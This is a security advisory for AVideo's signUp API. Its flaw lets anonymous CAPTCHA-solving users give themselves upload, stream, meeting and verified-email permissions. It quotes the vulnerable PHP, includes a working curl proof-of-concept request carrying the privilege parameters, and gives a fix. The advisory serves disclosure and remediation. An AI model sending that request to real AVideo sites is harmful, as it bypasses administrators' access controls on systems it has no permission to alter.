GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | wwbn/avideo | < 29.0 | 29.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The `set_api_signUp` method in the API plugin accepts `emailVerified`, `canUpload`, `canStream`, and `canCreateMeet` parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. Any anonymous user who can solve a CAPTCHA can self-grant elevated permissions during account registration.
## Details
The authentication check in `set_api_signUp` (`plugin/API/API.php:4222`) allows either a valid APISecret (admin-level credential) or a solved CAPTCHA (anonymous access):
```php
// plugin/API/API.php:4222-4232
if ($obj->APISecret !== @$_REQUEST['APISecret']) {
if(empty($_REQUEST['captcha'])){
return new ApiObject("Captcha is required");
}
require_once $global['systemRootPath'] . 'objects/captcha.php';
$valid = Captcha::validation($_REQUEST['captcha']);
if(!$valid){
return new ApiObject("Captcha is wrong, reload it and try again");
}
}
```
After this check, both code paths (APISecret and CAPTCHA) reach the privilege parameter handling unconditionally:
```php
// plugin/API/API.php:4238-4249
if (isset($_REQUEST['emailVerified'])) {
$global['emailVerified'] = intval($_REQUEST['emailVerified']);
}
if (isset($_REQUEST['canCreateMeet'])) {
$global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);
}
if (isset($_REQUEST['canStream'])) {
$global['canStream'] = intval($_REQUEST['canStream']);
}
if (isset($_REQUEST['canUpload'])) {
$global['canUpload'] = intval($_REQUEST['canUpload']);
}
```
These `$global` values are then consumed by `User::save()` (`objects/user.php:829-840`), which overrides the user object's permission fields:
```php
// objects/user.php:829-840
if (isset($global['emailVerified'])) {
$this->emailVerified = $global['emailVerified'];
}
if (isset($global['canCreateMeet'])) {
$this->canCreateMeet = $global['canCreateMeet'];
}
if (isset($global['canStream'])) {
$this->canStream = $global['canStream'];
}
if (isset($global['canUpload'])) {
$this->canUpload = $global['canUpload'];
}
```
Note that even though `userCreate.json.php:90` sets `canUpload` from the site's default configuration, `User::save()` subsequently overrides it with the attacker-controlled `$global` value.
The codebase already uses `self::isAPISecretValid()` to guard admin-only operations in other API methods (e.g., lines 294, 991, 1664, 2150), but this check is missing for the privilege parameters in `set_api_signUp`.
## PoC
```bash
# Step 1: Get a CAPTCHA token
# (Navigate to the signup page in a browser, solve the CAPTCHA, capture the token)
# Step 2: Register with elevated privileges
curl -X POST 'https://target/plugin/API/set.json.php' \
-d 'APIName=signUp' \
-d 'user=attacker' \
-d 'pass=Password123!' \
-d '[email protected]' \
-d 'name=Attacker' \
-d 'captcha=VALID_CAPTCHA_TOKEN' \
-d 'emailVerified=1' \
-d 'canUpload=1' \
-d 'canStream=1' \
-d 'canCreateMeet=1'
# Expected: Account created with default (restricted) permissions
# Actual: Account created with upload, stream, and meet permissions enabled,
# plus email marked as verified
# Step 3: Verify elevated permissions by logging in and checking profile
curl -X POST 'https://target/plugin/API/set.json.php' \
-d 'APIName=signIn' \
-d 'user=attacker' \
-d 'pass=Password123!'
# Response will show canUpload=1, canStream=1, canCreateMeet=1, emailVerified=1
```
## Impact
- **Email verification bypass:** Attackers can mark their accounts as email-verified without owning the email address, bypassing any email-gated functionality
- **Unauthorized upload access:** Self-granted upload permissions allow uploading potentially malicious video content to the platform
- **Unauthorized streaming access:** Self-granted streaming permissions allow unauthorized live streaming
- **Unauthorized meeting creation:** Self-granted meet permissions allow creating meetings on the platform
- **Policy bypass:** Platform administrators who intentionally restrict these permissions for new users (e.g., requiring manual approval before granting upload rights) have their access controls circumvented
## Recommended Fix
Wrap the privilege parameter handling in an `isAPISecretValid()` check so that only admin-authenticated requests can set these values:
```php
// plugin/API/API.php — replace lines 4238-4249 with:
if (self::isAPISecretValid()) {
if (isset($_REQUEST['emailVerified'])) {
$global['emailVerified'] = intval($_REQUEST['emailVerified']);
}
if (isset($_REQUEST['canCreateMeet'])) {
$global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);
}
if (isset($_REQUEST['canStream'])) {
$global['canStream'] = intval($_REQUEST['canStream']);
}
if (isset($_REQUEST['canUpload'])) {
$global['canUpload'] = intval($_REQUEST['canUpload']);
}
}
```
References
External links from the advisory. They lead to third-party sites.